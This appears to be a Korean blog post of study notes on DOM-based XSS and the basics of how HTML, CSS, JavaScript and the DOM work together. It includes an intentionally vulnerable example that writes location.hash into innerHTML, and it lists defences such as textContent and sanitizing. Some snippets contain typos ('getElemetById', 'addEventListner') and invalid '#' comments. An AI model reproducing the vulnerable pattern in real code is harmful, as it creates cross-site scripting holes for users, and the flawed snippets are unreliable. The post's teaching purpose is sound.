정리하면, 조작 가능한 값이 위험한 Sink로 흘러가는 가?가 핵심이다.

예시로 했던 걸 보면

const keyword = location.hash.substring(1); // Source
result.innerHTML = keyword; // Sink

요런식,,

그렇다고 sink 자체가 무조건 문제가 아니라

신뢰할 수 없는 사용자 입력을 위험한 sink에 그대로 넣는 게 위험한 것!(위 예시처럼)

실제로

result.innerHTML = "<b>공지사항</b>";

이런식으로 개발자가 직접 작성한 고정 문자열은 공격자가 변경할 수 없으니 상관없다

그래서 총 정리를 해 본다면

DOM-based XSS 분석의 핵심은

- 조작 가능한 값이가? (Source)

- JavaScript가 그 값을 읽는가?

- 그 값이 위험한 위치에 들어가는가? (Sink)

- HTML/JavaScript로 해석되는가?

- textContent, escape, sanitize 같은 안전처리가 있는가?

요렇게 정리해 볼 수 있고,

그래서, 결국 DOM-based XSS는

공격자가 넣은 문자열 자체보다, 프론트엔드 JavaScript가 그 문자열을 DOM에 어떤 방식으로 넣느냐가 핵심이다.

**번외

-> HTML에서 요소에 붙이는 고유한 이름표 같은

-> 원칙적으로 반복 x, 한 페이지 안에서 고유해야 한다

HTML에서 요렇게 쓰고

자바스크립트에서

document.getElemetById("maru")

이런식으로 id=maru인 요소를 찾는다

class

-> 여러 요소를 묶고 싶으면 class를 사용한다

-> 그룹 이름표,,

웹은 어떻게 동작하나요(HTML,JS,CSS,브라우저의 관계)

maru_ — Sun, 31 May 2026 01:33:26 +0900

웹페이지는 보통 HTML, CSS, JavaScript가 동작하면서 만들어진다

- HTML : 웹페이지 구조를 만듦

- CSS : 웹페이지 디자인

- JavaScript : 웹페이지의 동작

[DOM과 관련된 내용,,,]

- 브라우저 : 그 HTML을 DOM Tree로 변환

- javascript : 위 DOM Tree를 읽거나 수정하면서 웹페이지의 동작을 만듦

그러니까,, 개발자가

- HTML 작성

- CSS 작성

- JavaScript 작성

- 서버에 올리기

이렇게 하면

사용자 브라우저가

- 서버에서 HTML / CSS / JS 파일을 받아오기

- HTML로 DOM Tree 만들기

- CSS 적용

- JavaScript 실행

- JavaScript가 DOM을 조작

요런 역할을 기반으로 웹이 동작하는데,,

예를들어보면,

웹 페이지에 버튼 하나와, 결과 출력 공간을 만들고 싶으면

<button id="btn">클릭</button>     # 버튼 하나
<div id="result"></div>           # 결과 출력 공간 하나

<script src="/static/app.js"></script>

개발자는 이렇게 HTML을 작성할 수 있고

위 코드는 화면에 단순하게

[클릭] 버튼과

[결과 출력 빈 공간]

이라는 화면만 덩그러니 떠 있을 것이다

그래서 이런 버튼을 눌렀을 때 실제로 어떤 동작을 발생시키기 위해서 JavaScript가 필요하고

const button = document.getElementById("btn");    # id = btn인 버튼 찾기
const result = document.getElementById("result"); # id = result 찾기

button.addEventListner("click", function () {
	result.textContent = "버튼을 눌렀습니다!";
});
# 버튼이 클릭되면, result div 안에 "버튼을 눌렀습니다!"라는 글자 넣기

이런식으로 javascript를 작성해 html과 연결시켜줄 수 있고,

이런 연결과정에서 DOM Tree가 필요하다

(아마 다음글에서 DOM에 대해 정리할 예정)

번외)

-> JavaScript를 연결하는 통로

HTML에서 JavaScript를 실행할 때는 보통 <script> 태그를 사용,,!

브라우저가 HTML을 읽다가 <script>태그를 만나면 태그 내용을 JavaScript 코드로 실행한다

<script>
 alert("hello");
</script>

외부 javascript 파일을 불러올 수도 있다ㅏ

<script src="/static/app.js"></script>